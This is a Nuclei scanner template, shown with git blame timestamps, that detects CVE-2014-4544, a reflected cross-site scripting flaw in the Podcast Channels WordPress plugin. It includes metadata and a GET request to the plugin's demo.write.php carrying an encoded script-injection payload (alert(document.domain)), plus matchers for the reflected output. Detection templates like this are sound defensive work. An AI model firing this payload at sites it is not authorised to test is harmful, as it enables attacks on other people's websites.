nuclei-templates/http/cves/2014/CVE-2014-4544.yaml

51 lines
2.0 KiB
YAML
Raw Normal View History

2021-09-25 00:49:53 +00:00
id: CVE-2014-4544
info:
name: Podcast Channels < 0.28 - Cross-Site Scripting
2021-09-25 00:49:53 +00:00
author: daffainfo
severity: medium
description: The Podcast Channels WordPress plugin was affected by an unauthenticated reflected cross-site scripting security vulnerability.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 13:22:34 +00:00
remediation: |
Update to the latest version of the Podcast Channels plugin (0.28 or higher) to fix this vulnerability.
2021-09-25 00:49:53 +00:00
reference:
- https://wpscan.com/vulnerability/72a5a0e1-e720-45a9-b9d4-ee3144939abb
- https://nvd.nist.gov/vuln/detail/CVE-2014-4544
- http://codevigilant.com/disclosure/wp-plugin-podcast-channels-a3-cross-site-scripting-xss
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2014-4544
cwe-id: CWE-79
epss-score: 0.00118
epss-percentile: 0.45488
2023-09-06 13:22:34 +00:00
cpe: cpe:2.3:a:podcast_channels_project:podcast_channels:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: podcast_channels_project
product: podcast_channels
2023-09-06 13:22:34 +00:00
framework: wordpress
2023-12-05 09:50:33 +00:00
tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss,unauth,podcast_channels_project
2021-09-25 00:49:53 +00:00
http:
2021-09-25 00:49:53 +00:00
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&"
2021-09-25 00:49:53 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: body
2021-09-25 00:49:53 +00:00
words:
2021-09-25 05:49:46 +00:00
- "</script><script>alert(document.domain)</script>"
2021-09-25 00:49:53 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a004630440220078759a06ea361276eb0cfd93bdd686cc6a0d4efa87b282c90531a3f9ac199e402204e90184620d595a421ed934c84affd49e89d27945d56eeb33bdd981da2c147fc:922c64590222798bb761d5b6d8e72950